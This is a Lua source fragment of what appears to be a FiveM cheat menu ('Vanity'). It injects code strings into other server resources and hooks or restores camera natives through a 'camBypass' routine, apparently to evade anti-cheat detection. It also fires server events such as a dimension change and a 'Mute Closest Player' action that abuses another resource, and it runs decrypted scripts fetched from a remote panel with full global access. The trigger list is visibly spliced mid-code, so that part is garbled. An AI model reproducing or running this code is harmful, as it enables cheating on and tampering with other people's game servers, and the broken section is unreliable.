menu.functions.getVehiclePreviewGroundZ(coords.x, coords.y, coords.z, modelHash) ) end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local vehicle, driver if safeSpawn == 1 then local script = string.format( [[ Citizen.CreateThread(function() local spawnCoords = vector3(%.2f, %.2f, %.2f) local vehicleModel = %q _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} if not _G.Citizen.Bongs.utils or not _G.Citizen.Bongs.utils.spawnVehicle then return end _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, %.2f, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) local driverHash = GetHashKey("mp_m_freemode_01") RequestModel(driverHash) while not HasModelLoaded(driverHash) do Wait(10) end local driver = CreatePedInsideVehicle(vehicle, 4, driverHash, -1, false, false) if not DoesEntityExist(driver) then DeleteEntity(vehicle) return end SetVehicleEngineOn(vehicle, true, true, false) SetVehicleUndriveable(vehicle, false) SetEntityInvincible(vehicle, true) SetEntityInvincible(driver, true) SetPedCanRagdoll(driver, false) SetPedConfigFlag(driver, 17, false) SetPedConfigFlag(driver, 32, false) SetBlockingOfNonTemporaryEvents(driver, true) end, 1) end) ]], coords.x, coords.y, coords.z, modelName, heading ) if menu.utils.safeExecute(script) then vehicle, driver = menu.functions.findRCCarNearSpawn(coords, modelHash, 40) end end if not vehicle then vehicle, driver = menu.functions.spawnRCCarEntitiesLocal(modelName, coords, heading) end if not vehicle or not driver then menu.utils.notify("Failed to spawn RC Car", "error", 3000) return end menu.functions.activateRCCar(vehicle, driver, modelName, modelHash) end) end function assembledMenuFunctions.ensureRCCarNetworkControl(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end if NetworkHasControlOfEntity(entity) then return true end NetworkRequestControlOfEntity(entity) return NetworkHasControlOfEntity(entity) end function assembledMenuFunctions.applyRCCarDriveMultipliers(entity) if not entity or not DoesEntityExist(entity) then return end local speed = menu.vars.rcCar.speed or menu.vars.sliders.rcCarSpeed or 3.0 ModifyVehicleTopSpeed(entity, speed) SetVehicleEnginePowerMultiplier(entity, speed * 2.0) if SetVehicleCheatPowerIncrease then SetVehicleCheatPowerIncrease(entity, speed) end if SetVehicleMaxSpeed and menu.vars.rcCar.baseMaxSpeed then SetVehicleMaxSpeed(entity, menu.vars.rcCar.baseMaxSpeed * speed) end end function assembledMenuFunctions.applyRCCarDirectControl(vehicle, driver) if not vehicle or not DoesEntityExist(vehicle) then return end menu.functions.ensureRCCarNetworkControl(vehicle) if driver and DoesEntityExist(driver) then SetBlockingOfNonTemporaryEvents(driver, true) if not menu.vars.rcCar.driverTaskCleared then ClearPedTasksImmediately(driver) menu.vars.rcCar.driverTaskCleared = true end end local frameTime = GetFrameTime() if frameTime <= 0.0 or frameTime > 0.1 then frameTime = 0.016 end local speed = menu.vars.rcCar.speed or menu.vars.sliders.rcCarSpeed or 3.0 local baseMaxSpeed = menu.vars.rcCar.baseMaxSpeed or GetVehicleEstimatedMaxSpeed(vehicle) or 20.0 local maxSpeed = math.max(8.0, baseMaxSpeed * speed) local forward = IsDisabledControlPressed(0, 32) or IsControlPressed(0, 32) local backward = IsDisabledControlPressed(0, 33) or IsControlPressed(0, 33) local left = IsDisabledControlPressed(0, 34) or IsControlPressed(0, 34) local right = IsDisabledControlPressed(0, 35) or IsControlPressed(0, 35) local currentSpeed = GetEntityForwardSpeed(vehicle) local acceleration = maxSpeed * 3.2 * frameTime local braking = maxSpeed * 4.8 * frameTime if forward then currentSpeed = math.min(maxSpeed, currentSpeed + acceleration) elseif backward then if currentSpeed > 0.35 then currentSpeed = math.max(0.0, currentSpeed - braking * 1.35) else currentSpeed = math.max(-maxSpeed * 0.45, currentSpeed - acceleration) end elseif math.abs(currentSpeed) <= 0.12 then currentSpeed = 0.0 elseif currentSpeed > 0.0 then currentSpeed = math.max(0.0, currentSpeed - braking) else currentSpeed = math.min(0.0, currentSpeed + braking) end SetVehicleBrake(vehicle, false) SetVehicleHandbrake(vehicle, false) SetVehicleForwardSpeed(vehicle, currentSpeed) local steeringInput = (right and 1.0 or 0.0) - (left and 1.0 or 0.0) local steeringAngle = 42.0 local speedFactor = math.min(1.0, math.abs(currentSpeed) / math.max(1.0, maxSpeed * 0.2)) local targetSteering = steeringInput * steeringAngle * (0.5 + 0.5 * speedFactor) local steerAngle = menu.vars.rcCar.steerAngle or 0.0 if math.abs(steeringInput) > 0.01 then steerAngle = steerAngle + (targetSteering - steerAngle) * math.min(1.0, 16.0 * frameTime) else steerAngle = steerAngle * (1.0 - math.min(1.0, 12.0 * frameTime)) if math.abs(steerAngle) < 0.05 then steerAngle = 0.0 end end menu.vars.rcCar.steerAngle = steerAngle SetVehicleSteeringAngle(vehicle, steerAngle) end function assembledMenuFunctions.updateRCCarCamera(vehicle, camera) if not vehicle or not camera or not DoesEntityExist(vehicle) then return end local coords = GetEntityCoords(vehicle) local targetZ = coords.z + 0.55 local look = menu.vars.rcCar.camLook or { yaw = 0.0, pitch = 0.0 } local yaw = look.yaw or 0.0 local height = menu.vars.rcCar.cameraHeight or 5.0 local radians = math.rad(yaw) SetCamCoord( camera, coords.x + math.sin(radians) * height, coords.y + math.cos(radians) * height, targetZ + 1.45 ) PointCamAtCoord(camera, coords.x, coords.y, targetZ + 0.35) end function assembledMenuFunctions.handleRCCarControls() if not menu.vars.rcCar.active or not DoesEntityExist(menu.vars.rcCar.vehicle) then return end if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end local vehicle = menu.vars.rcCar.vehicle local driver = menu.vars.rcCar.driver local camera = menu.vars.rcCar.camera local coords = GetEntityCoords(vehicle) local focused = menu.vars.rcCar.cameraFocused == true EnableControlAction(0, 47, true) EnableControlAction(0, 177, true) local function justPressed(control) return IsDisabledControlJustPressed(0, control) or IsControlJustPressed(0, control) end if justPressed(47) then if focused then menu.functions.exitRCCarDriveMode() else menu.functions.enterRCCarDriveMode() end focused = menu.vars.rcCar.cameraFocused == true elseif focused and justPressed(177) then menu.functions.exitRCCarDriveMode() focused = false end if focused then local now = GetGameTimer() if now - (menu.vars.rcCar.lastFocusUpdate or 0) >= 150 then SetFocusPosAndVel(coords.x, coords.y, coords.z, 0.0, 0.0, 0.0) RequestCollisionAtCoord(coords.x, coords.y, coords.z) menu.vars.rcCar.lastFocusUpdate = now end DisableControlAction(0, 32, true) DisableControlAction(0, 33, true) DisableControlAction(0, 34, true) DisableControlAction(0, 35, true) DisableControlAction(0, 44, true) DisableControlAction(0, 38, true) DisableControlAction(0, 21, true) DisableControlAction(0, 22, true) DisableControlAction(0, 36, true) DisableControlAction(0, 30, true) DisableControlAction(0, 31, true) DisableControlAction(0, 8, true) DisableControlAction(0, 25, true) DisablePlayerFiring(PlayerId(), true) SetPedCanSwitchWeapon(PlayerPedId(), false) local playerPed = PlayerPedId() FreezeEntityPosition(playerPed, true) SetEntityCollision(playerPed, false, false) if DoesEntityExist(driver) then SetVehicleEngineOn(vehicle, true, true, false) SetVehicleUndriveable(vehicle, false) SetVehicleHandbrake(vehicle, false) menu.functions.applyRCCarDriveMultipliers(vehicle) menu.functions.applyRCCarDirectControl(vehicle, driver) end if not menu.vars.rcCar.camLook then menu.vars.rcCar.camLook = { yaw = 0.0, pitch = 0.0 } end local mouseX = GetDisabledControlNormal(0, 220) if math.abs(mouseX) < 0.01 then mouseX = GetDisabledControlNormal(0, 1) end menu.vars.rcCar.camLook.yaw = menu.vars.rcCar.camLook.yaw + mouseX * 9.0 menu.vars.rcCar.camLook.pitch = 0.0 menu.functions.updateRCCarCamera(vehicle, camera) else RequestCollisionAtCoord(coords.x, coords.y, coords.z) local playerPed = PlayerPedId() FreezeEntityPosition(playerPed, false) SetEntityCollision(playerPed, true, true) SetPedCanSwitchWeapon(playerPed, true) end end function assembledMenuFunctions.destroyRCCar() if not menu.vars.rcCar.active then menu.utils.notify("No RC Car to destroy", "error", 3000) return end menu.functions.exitRCCarDriveMode() if menu.vars.rcCar.camera then RenderScriptCams(false, false, 0, true, false) DestroyCam(menu.vars.rcCar.camera, false) end Ham.camBypass(false) menu.utils.executeAll([[ if _G.o_GetRenderingCam then GetRenderingCam = _G.o_GetRenderingCam _G.GetRenderingCam = _G.o_GetRenderingCam _G.o_GetRenderingCam = nil end if _G.o_GetFinalRenderedCamCoord then GetFinalRenderedCamCoord = _G.o_GetFinalRenderedCamCoord _G.GetFinalRenderedCamCoord = _G.o_GetFinalRenderedCamCoord _G.o_GetFinalRenderedCamCoord = nil end if _G.o_GetFinalRenderedCamRot then GetFinalRenderedCamRot = _G.o_GetFinalRenderedCamRot _G.GetFinalRenderedCamRot = _G.o_GetFinalRenderedCamRot _G.o_GetFinalRenderedCamRot = nil end if _G.o_GetFinalRenderedCamFov then GetFinalRenderedCamFov = _G.o_GetFinalRenderedCamFov _G.GetFinalRenderedCamFov = _G.o_GetFinalRenderedCamFov _G.o_GetFinalRenderedCamFov = nil end if _G.o_IsGameplayCamRendering then IsGameplayCamRendering = _G.o_IsGameplayCamRendering _G.IsGameplayCamRendering = _G.o_IsGameplayCamRendering _G.o_IsGameplayCamRendering = nil end ]]) local playerPed = PlayerPedId() FreezeEntityPosition(playerPed, false) SetEntityCollision(playerPed, true, true) SetPedCanSwitchWeapon(playerPed, true) SetFocusEntity(playerPed) local vehicle = menu.vars.rcCar.vehicle if vehicle and DoesEntityExist(vehicle) then local driver = menu.vars.rcCar.driver if driver and DoesEntityExist(driver) then DeleteEntity(driver) end local attempts = 0 while DoesEntityExist(vehicle) and attempts < 10 do DeleteEntity(vehicle) Citizen.Wait(50) attempts = attempts + 1 end if DoesEntityExist(vehicle) and menu.vars.rcCar.modelHash then local script = string.format( [[ local allVehicles = GetGamePool('CVehicle') local targetModelHash = %d for _, vehicle in ipairs(allVehicles) do if DoesEntityExist(vehicle) then local model = GetEntityModel(vehicle) if model == targetModelHash then local driver = GetPedInVehicleSeat(vehicle, -1) if DoesEntityExist(driver) then DeleteEntity(driver) end DeleteEntity(vehicle) break end end end ]], menu.vars.rcCar.modelHash ) menu.utils.safeExecute(script) end end local rcCar = menu.vars.rcCar rcCar.vehicle = nil rcCar.driver = nil rcCar.camera = nil rcCar.modelHash = nil rcCar.active = false rcCar.camLook = { yaw = 0.0, pitch = 0.0 } rcCar.steerAngle = 0.0 rcCar.driverTaskCleared = false rcCar.cameraFocused = false rcCar.lastFocusUpdate = 0 rcCar.controlThread = nil rcCar.controlLoopStarted = false menu.vars.bools.rcCarActive = false menu.utils.notify("RC Car destroyed", "success", 3000) end function assembledMenuFunctions.requestRCCarNetworkControl(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end if NetworkHasControlOfEntity(entity) then return true end local startTime = GetGameTimer() NetworkRequestControlOfEntity(entity) while not NetworkHasControlOfEntity(entity) and GetGameTimer() - startTime < 750 do NetworkRequestControlOfEntity(entity) Wait(0) end return NetworkHasControlOfEntity(entity) end function assembledMenuFunctions.flipRCCar() if not menu.vars.rcCar.active or not menu.vars.rcCar.vehicle or not DoesEntityExist(menu.vars.rcCar.vehicle) then menu.utils.notify("No active RC car", "error", 2500) return end local vehicle = menu.vars.rcCar.vehicle if not menu.functions.requestRCCarNetworkControl(vehicle) then menu.utils.notify("Could not get control of RC car", "error", 2500) return end SetVehicleOnGroundProperly(vehicle) local heading = GetEntityHeading(vehicle) SetEntityRotation(vehicle, 0.0, 0.0, heading, 2, true) menu.utils.notify("RC car flipped upright", "success", 2000) end function assembledMenuFunctions.repairRCCar() if not menu.vars.rcCar.active or not menu.vars.rcCar.vehicle or not DoesEntityExist(menu.vars.rcCar.vehicle) then menu.utils.notify("No active RC car", "error", 2500) return end local vehicle = menu.vars.rcCar.vehicle if not menu.functions.requestRCCarNetworkControl(vehicle) then menu.utils.notify("Could not get control of RC car", "error", 2500) return end SetVehicleFixed(vehicle) SetVehicleDeformationFixed(vehicle) SetVehicleEngineHealth(vehicle, 1000.0) SetVehicleBodyHealth(vehicle, 1000.0) SetVehiclePetrolTankHealth(vehicle, 1000.0) menu.utils.notify("RC car repaired", "success", 2000) end function assembledMenuFunctions.applyRCCarSpeed(value) local speed = menu.vars.sliders.rcCarSpeed or 3.0 menu.vars.rcCar.speed = speed if menu.vars.rcCar.active and menu.vars.rcCar.vehicle and DoesEntityExist(menu.vars.rcCar.vehicle) then menu.functions.applyRCCarDriveMultipliers(menu.vars.rcCar.vehicle) end end function assembledMenuFunctions.emoteMenuGetInjectResource() local resources = menu.utils.getFreezableResourceList() if not resources or #resources == 0 then return nil end return resources[1] end function assembledMenuFunctions.emoteMenuExec(script) if not script or script == "" then return false end if not Ham or not Ham.Execute then menu.utils.notify("Ham.Execute not available", "error", 3000) return false end local resource = menu.functions.emoteMenuGetInjectResource() if not resource then menu.utils.notify("No injectable resource found", "error", 3000) return false end Ham.Execute(resource, script) return true end function assembledMenuFunctions.emoteMenuStopEmote(options) local silent = options and options.silent local success = menu.functions.emoteMenuExec([[ local ped = PlayerPedId() if IsPedInAnyVehicle(ped, false) then StopAnimTask(ped, _G.emote_dict or "", _G.emote_clip or "", -4.0) else ClearPedTasksImmediately(ped) end if _G.emote_prop and DoesEntityExist(_G.emote_prop) then DeleteEntity(_G.emote_prop) _G.emote_prop = nil end _G.emote_dict = nil _G.emote_clip = nil ]]) if not success then if not silent then menu.utils.notify("No injectable resource for emotes", "error", 3000) end return end if not silent then menu.utils.notify("Emote stopped", "info", 1500) end end function assembledMenuFunctions.emoteMenuPlayAnim(emote) if not emote or not emote.emoteDict or not emote.emoteClip then return end Citizen.CreateThread(function() menu.functions.emoteMenuStopEmote({ silent = true }) Citizen.Wait(50) local flag = emote.emoteFlag if flag == nil then flag = emote.emoteLoop and 1 or 0 end local duration = emote.emoteDuration if duration == nil then duration = -1 end local script = string.format( [[ CreateThread(function() local ped = PlayerPedId() RequestAnimDict("%s") local t = 0 while not HasAnimDictLoaded("%s") do Wait(10) t = t + 10 if t > 5000 then return end end _G.emote_dict = "%s" _G.emote_clip = "%s" TaskPlayAnim(ped, "%s", "%s", 8.0, -8.0, %d, %d, 0, false, false, false) end) ]], emote.emoteDict, emote.emoteDict, emote.emoteDict, emote.emoteClip, emote.emoteDict, emote.emoteClip, duration, flag ) menu.functions.emoteMenuExec(script) end) end function assembledMenuFunctions.emoteMenuPlayScenario(emote) if not emote or not emote.emoteScenario then return end Citizen.CreateThread(function() menu.functions.emoteMenuStopEmote({ silent = true }) Citizen.Wait(50) local script = string.format( [[ local ped = PlayerPedId() ClearPedTasksImmediately(ped) TaskStartScenarioInPlace(ped, "%s", 0, true) ]], emote.emoteScenario ) menu.functions.emoteMenuExec(script) end) end function assembledMenuFunctions.emoteMenuPlayWithProp(emote) if not emote or not emote.emoteDict or not emote.emoteClip or not emote.emotePropModel then return end local bone = emote.emoteBone or 28422 local placement = emote.emotePlacement or { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 } local loop = emote.emotePropLoop if loop == nil then loop = true end local flag = loop and 1 or 0 Citizen.CreateThread(function() menu.functions.emoteMenuStopEmote({ silent = true }) Citizen.Wait(50) local script = string.format( [[ CreateThread(function() local ped = PlayerPedId() local propHash = GetHashKey("%s") RequestModel(propHash) local t = 0 while not HasModelLoaded(propHash) do Wait(10) t = t + 10 if t > 5000 then return end end RequestAnimDict("%s") t = 0 while not HasAnimDictLoaded("%s") do Wait(10) t = t + 10 if t > 5000 then return end end local coords = GetEntityCoords(ped) _G.emote_prop = CreateObject(propHash, coords.x, coords.y, coords.z, true, true, true) AttachEntityToEntity(_G.emote_prop, ped, GetPedBoneIndex(ped, %d), %f, %f, %f, %f, %f, %f, true, true, false, true, 1, true) _G.emote_dict = "%s" _G.emote_clip = "%s" TaskPlayAnim(ped, "%s", "%s", 8.0, -8.0, -1, %d, 0, false, false, false) SetModelAsNoLongerNeeded(propHash) end) ]], emote.emotePropModel, emote.emoteDict, emote.emoteDict, bone, placement[1], placement[2], placement[3], placement[4], placement[5], placement[6], emote.emoteDict, emote.emoteClip, emote.emoteDict, emote.emoteClip, flag ) menu.functions.emoteMenuExec(script) end) end function assembledMenuFunctions.loadSelectedConfig(selection) local silent = false if type(selection) == "table" then silent = selection.silent == true selection = selection.configName or selection.selectedValue or selection.name end if not selection or selection == "" then menu.utils.notify("No config selected", "error") return end if selection == "default" then menu.configSystem.fetchConfigs(function(configs) local hasDefault = false if configs and #configs > 0 then for _, config in ipairs(configs) do if config.configName == "default" then hasDefault = true break end end end if hasDefault then menu.configSystem.loadConfigFromServer("default", function(success) if success and not silent then menu.utils.notify("Default config loaded successfully", "success") end end) return end local previousSuppression = menu.vars.suppressConfigApplyNotifications if silent then menu.vars.suppressConfigApplyNotifications = true end menu.configSystem.resetToDefaults() menu.vars.suppressConfigApplyNotifications = previousSuppression if not silent then menu.utils.notify("Loaded default settings (no saved default config)", "info") end end, { waitForFresh = true }) return end menu.configSystem.loadConfigFromServer(selection, function(success) if success then menu.utils.notify("Config '" .. selection .. "' loaded successfully", "success") end end) end function assembledMenuFunctions.saveSelectedConfig(selection) if type(selection) == "table" then if selection.saveMode == "new" then selection = "new" else selection = selection.configName or selection.selectedValue or selection.name end end if not selection or selection == "" then menu.utils.notify("No save option selected", "error") return end if selection == "new" then menu.configSystem.fetchConfigs(function(configs) local count = configs and #configs or 0 if count >= 10 then menu.utils.notify("Config limit reached (10 max). Please overwrite an existing config.", "error") return end menu.ui.promptText( { title = "Save New Config", label = "Config Name (no spaces, max 12 chars)", default = "", maxLen = 12 }, function(name, cancelled) if cancelled or not name or name == "" then return end local valid, errorMessage = menu.configSystem.validateConfigNameInput(name) if not valid then menu.utils.notify(errorMessage, "error") return end if menu.configSystem.isConfigNameTaken(name, configs) then menu.utils.notify("Config '" .. name .. "' already exists. Use Overwrite instead.", "error") return end menu.configSystem.saveConfigToServer(name, function(success) if success then menu.functions.refreshConfigCache() menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) end end) end ) end, { waitForFresh = true }) return end local configName = selection menu.configSystem.saveConfigToServer(configName, function(success) if success then menu.functions.refreshConfigCache() menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) end end) end function assembledMenuFunctions.renameSelectedConfig(selection) local configName = selection if type(selection) == "table" then configName = selection.configName or selection.selectedValue or selection.name end if not configName or configName == "" then menu.utils.notify("No config selected", "error") return end menu.ui.promptText( { title = "Rename Config", label = "New Name (no spaces, max 12 chars)", default = configName, maxLen = 12 }, function(newName, cancelled) if cancelled or not newName or newName == "" then return end menu.configSystem.renameConfigOnServer(configName, newName, function(success) if success then menu.functions.refreshConfigCache() menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) end end) end ) end function assembledMenuFunctions.deleteSelectedConfig(selection) local configName = selection if type(selection) == "table" then configName = selection.configName or selection.selectedValue or selection.name end if not configName or configName == "" then menu.utils.notify("No config selected", "error") return end if configName == "default" then menu.utils.notify("Cannot delete the default config", "error") return end menu.ui.promptDeleteConfirm( { label = "Do you really want to delete '" .. configName .. "'? Type yes to confirm." }, function() menu.configSystem.removeConfigFromCache(configName) menu.configSystem.deleteConfigFromServer(configName, function(success) if success then menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) return end menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) end) end ) end function assembledMenuFunctions.refillAmmo() local playerPed = PlayerPedId() local _, weaponHash = GetCurrentPedWeapon(playerPed, true) if weaponHash ~= GetHashKey("WEAPON_UNARMED") then AddAmmoToPed(playerPed, weaponHash, 250) end end function assembledMenuFunctions.loadTriggers() local triggerJson = [[ [ { "name": "Main Dimension", "condition":"return Ham.findEvent('setDimension')", "code":"menu.utils.safeExecute('TriggerServerEvent(\"setDimension\", 0)')" }, { "name":"Mute Closest Player", "condition":"return Ham.hasResource('supremo_medicjob')", "code":"menu.utils.safeExecute('local players,closestDistance,closestPlayer,ped,coords=GetActivePlayers(),-1,-1,PlayerPedId(),GetEntityCoords(PlayerPedId()) for _,player in ipairs(players) do local targetPed=GetPlayerPed(player) if targetPed~=ped then local targetCoords=GetEntityCoords(targetPed) local distance=#(coords-targetCoords) if closestDistance==-1 or distance 0 and contents[1].name and contents[1].options then option.tabs = contents else option.submenu = contents or {} end table.insert(elements, option) end api.addSeparator = function(name) table.insert(elements, { name = name or "", type = "seperator" }) end api.addText = function(text) table.insert(elements, { name = text or "", type = "text", disableHover = true }) end api.addTextInput = function(name, default, placeholder, callback, description) local var = makeId() if not menu.vars.textInputs then menu.vars.textInputs = {} end menu.vars.textInputs[var] = default or "" table.insert(elements, { name = name or "Text Input", type = "textInput", var = var, default = default or "", placeholder = placeholder or "", onChangeFunc = callback, description = description }) end api.notify = function(text, notificationType, duration) menu.utils.notify(tostring(text or ""), notificationType or "info", duration or 2000) end api.hiddenMenu = function(value, callback) if type(value) == "function" then local duration = tonumber(callback) or 0 callback = value value = duration else value = tonumber(value) or 0 if type(callback) ~= "function" then callback = nil end end Citizen.CreateThread(function() menu.utils.hiddenMenu(value, callback) end) end api.hiddenMenuUntilDone = function(callback) if type(callback) ~= "function" then return end Citizen.CreateThread(function() menu.utils.hiddenMenuUntilDone(callback) end) end api.runWithMenuHidden = function(callback) if type(callback) ~= "function" then return end Citizen.CreateThread(function() menu.utils.hiddenMenuUntilDone(callback) end) end api.promptText = function(options, callback) callback = callback or function() end local numeric = options and options.numeric menu.ui.promptText({ title = options and options.title or "Input", label = options and options.label or "", default = options and options.default or "", maxLen = options and options.maxLen or 255 }, function(text, cancelled) if numeric and not cancelled and text then local number = tonumber(text) if not number then menu.utils.notify("Invalid number", "error", 2000) return end return callback(number, false) end return callback(text, cancelled) end) end api.clear = function() for key in pairs(elements) do elements[key] = nil end menu.vars.scriptUI[scriptId] = elements end return api end function assembledMenuFunctions.populatePanelScripts() local mainTab for _, tab in ipairs(menu.config.tabs) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return end local scriptOptions for _, option in ipairs(mainTab.options) do if option.name == "Script Options" and option.type == "submenu" then scriptOptions = option break end end if not scriptOptions then return end local scriptsTab for _, tab in ipairs(scriptOptions.tabs or {}) do if tab.name == "Scripts" then scriptsTab = tab break end end if not scriptsTab then return end if not menu.vars.linkedDiscord then scriptsTab.options = { { name = "Link your Discord account on the panel", type = "text", disableHover = true }, { name = "to access scripts.", type = "text", disableHover = true }, { name = "", type = "seperator" }, { name = "Open Panel", type = "button", func = function() Ham.openUrl("https://p.vanity.menu") end, description = "Open the Vanity panel in your browser" } } return end local scripts = menu.vars.panelScripts if not scripts then scriptsTab.options = { { name = "Loading scripts...", type = "text", disableHover = true } } return end local filter = menu.vars.panelScriptFilter local filtered = {} for _, script in ipairs(scripts) do if not filter or string.find(string.lower(script.name or ""), filter, 1, true) then table.insert(filtered, script) end end scriptsTab.options = { { name = "Search", type = "button", func = "searchPanelScripts", description = "Filter scripts by name" }, { name = "Clear Filter", type = "button", func = "clearPanelScriptFilter", condition = function() return menu.vars.panelScriptFilter ~= nil end, description = "Remove the current search filter" }, { name = "Refresh", type = "button", func = "refreshPanelScripts", description = "Fetch latest scripts from panel" }, { name = "Import Script", type = "button", func = "importScript", description = "Import a script using a share code or link" }, { name = "Scripts", type = "seperator" } } for _, script in ipairs(filtered) do local name = script.name or "Unnamed" local description = script.description or "" local updated = script.updated_at_formatted or "Unknown" local options = { { name = "Name: " .. name, type = "text", disableHover = true } } if description ~= "" then table.insert(options, { name = "Description: " .. description, type = "text", disableHover = true }) end table.insert(options, { name = "Updated: " .. updated, type = "text", disableHover = true }) table.insert(options, { name = "Actions", type = "seperator" }) local scriptId = script.id table.insert(options, { name = "Execute", type = "button", description = "Run this script", func = function() local current = menu.vars.panelScriptsById and menu.vars.panelScriptsById[scriptId] if not current or not current.code or current.code == "" then menu.utils.notify("Script not found", "error", 2500) return end local payload = { code = current.code, name = current.name or name, id = scriptId } menu.panelApi.decryptScriptCode(payload) local code = payload.code local scriptName = payload.name or name local api = menu.functions.createScriptApi(scriptId) local environment = setmetatable({ Vanity = api }, { __index = _G, __newindex = _G }) local fn, compileError = load(code, "=script:" .. scriptName, "t", environment) if not fn then print("[Vanity Panel] Script compile error: " .. tostring(compileError)) menu.utils.notify("Script compile error", "error", 2500) return end local success, runtimeError = pcall(fn) if not success then print("[Vanity Panel] Script runtime error: " .. tostring(runtimeError)) menu.utils.notify("Script runtime error", "error", 2500) else menu.utils.notify("Executed: " .. scriptName, "info", 1800) end local ui = menu.vars.scriptUI[scriptId] if ui and #ui > 0 then local executeIndex for index, option in ipairs(options) do if option.name == "Execute" and option.type == "button" then executeIndex = index break end end while executeIndex < #options do table.remove(options) end table.insert( options, { name = "Script Menu", type = "submenu", submenu = ui, description = "Open this script's UI" } ) end end }) local existingUi = menu.vars.scriptUI[scriptId] if existingUi and #existingUi > 0 then table.insert( options, { name = "Script Menu", type = "submenu", submenu = existingUi, description = "Open this script's UI" } ) end table.insert(scriptsTab.options, { name = name, type = "submenu", submenu = options }) end end function assembledMenuFunctions.applyAnimationSpeed(value) local numericValue = tonumber(value) if not numericValue then return end local speed = math.max(0.25, math.min(3.0, numericValue)) menu.vars.animationSpeedMultiplier = speed menu.vars.selectorAdjustDelayMs = math.max(20, math.min(300, math.floor(60 * speed + 0.5))) end function assembledMenuFunctions.applyColorTheme(theme, applyTheme) local themeName if type(theme) == "string" then themeName = string.lower(theme) else local names = menu.vars.colorThemeNames local index = tonumber(theme) or menu.vars.selectors.color or 1 themeName = names[index] or "blue" end if not menu.utils.canUseColorTheme(themeName) then themeName = "community" end for index, name in ipairs(menu.vars.colorThemeNames or {}) do if name == themeName then menu.vars.selectors.color = index break end end menu.vars.currentColorTheme = themeName if applyTheme ~= false then menu.vars.selectors.theme = 1 end menu.functions.applyTheme() end function assembledMenuFunctions.applyCustomMenuColor(color) if not color and menu.vars and menu.vars.colorPickers then color = menu.vars.colorPickers.customMenuColor end if type(color) ~= "table" or not color[1] or not color[2] or not color[3] then return end local colors = menu.drawing.colors colors.primary = { color[1], color[2], color[3], 255 } colors.primary_light = { math.min(255, color[1] + 40), math.min(255, color[2] + 40), math.min(255, color[3] + 40), 255 } colors.primary_dark = { math.max(0, color[1] - 70), math.max(0, color[2] - 70), math.max(0, color[3] - 70), 255 } colors.outline = { color[1], color[2], color[3], 180 } colors.bg_selected = { color[1], color[2], color[3], 80 } colors.scroll_thumb = nil end function assembledMenuFunctions.applyTheme() local themeName = menu.vars.currentColorTheme local selectors = menu.vars.selectors if selectors and selectors.color and menu.vars.colorThemeNames then local selectedName = menu.vars.colorThemeNames[selectors.color] if selectedName then themeName = selectedName menu.vars.currentColorTheme = selectedName end elseif not themeName then local colorIndex = menu.vars.selectors.color if colorIndex and colorIndex >= 1 and colorIndex <= #menu.vars.colorThemeNames then themeName = menu.vars.colorThemeNames[colorIndex] menu.vars.currentColorTheme = themeName end if not themeName then themeName = "blue" end end if not menu.utils.canUseColorTheme(themeName) then menu.functions.applyColorTheme("community", false) return end local themeIndex = menu.vars.selectors.theme or 1 local themeGroup = menu.themes[themeName] if themeGroup then local keys = {} for key in pairs(themeGroup) do table.insert(keys, key) end table.sort(keys, function(a, b) local aNumber = tonumber(a:match("%d+$")) or 0 local bNumber = tonumber(b:match("%d+$")) or 0 if aNumber ~= bNumber then return aNumber < bNumber end return a < b end) local themeKey = keys[themeIndex] or keys[1] local theme = themeGroup[themeKey] if theme then if theme.colors then local colors = menu.drawing.colors colors.primary = theme.colors.primary colors.primary_light = theme.colors.primary_light colors.primary_dark = theme.colors.primary_dark colors.outline = theme.colors.outline colors.scroll_thumb = theme.colors.scroll_thumb if theme.colors.primary then if not menu.vars.colorPickers then menu.vars.colorPickers = {} end local primary = theme.colors.primary menu.vars.colorPickers.customMenuColor = { primary[1], primary[2], primary[3], primary[4] or 255 } end end if theme.texture then menu.textures.banner = theme.texture else menu.textureLoading.requestThemeBannerTexture(themeName, themeKey) end menu.vars.currentTheme = themeKey end end end function assembledMenuFunctions.selectBannerColorTheme(options) local colorTheme = options and options.funcArg if colorTheme ~= "community" and colorTheme ~= "adminbanners" then return end menu.vars.lastStandardColorTheme = colorTheme if not menu.vars.lastStandardBannerThemeByColor then menu.vars.lastStandardBannerThemeByColor = {} end for index, name in ipairs(menu.vars.colorThemeNames or {}) do if name == colorTheme then menu.vars.selectors.color = index break end end local keys = menu.utils.getSortedThemeKeys(colorTheme) local selectedKey = menu.vars.lastStandardBannerThemeByColor[colorTheme] or keys[1] local themeIndex = 1 for index, key in ipairs(keys) do if key == selectedKey then themeIndex = index break end end menu.vars.selectors.theme = themeIndex menu.functions.applyColorTheme(colorTheme, false) menu.utils.refreshBannerSubmenu() end function assembledMenuFunctions.selectBannerThemeByKey(options) local value = options and options.funcArg local themeKey = type(value) == "table" and value.themeKey or value if not themeKey then return end local colorTheme = type(value) == "table" and value.colorTheme or menu.vars.currentColorTheme if colorTheme == "adminbanners" then if menu.functions.selectAdminBannerTheme then menu.functions.selectAdminBannerTheme({ funcArg = themeKey }) end return end if colorTheme == "community" or not colorTheme then colorTheme = menu.vars.lastStandardColorTheme or "blue" end local keys = menu.utils.getSortedThemeKeys(colorTheme) local themeIndex = 1 for index, key in ipairs(keys) do if key == themeKey then themeIndex = index break end end menu.vars.lastStandardColorTheme = colorTheme if not menu.vars.lastStandardBannerThemeByColor then menu.vars.lastStandardBannerThemeByColor = {} end menu.vars.lastStandardBannerThemeByColor[colorTheme] = themeKey for index, name in ipairs(menu.vars.colorThemeNames or {}) do if name == colorTheme then menu.vars.selectors.color = index break end end menu.vars.currentColorTheme = colorTheme menu.vars.selectors.theme = themeIndex menu.functions.applyTheme() menu.utils.refreshBannerSubmenu() end function assembledMenuFunctions.applyDefaultStartupBannerTheme() local username = 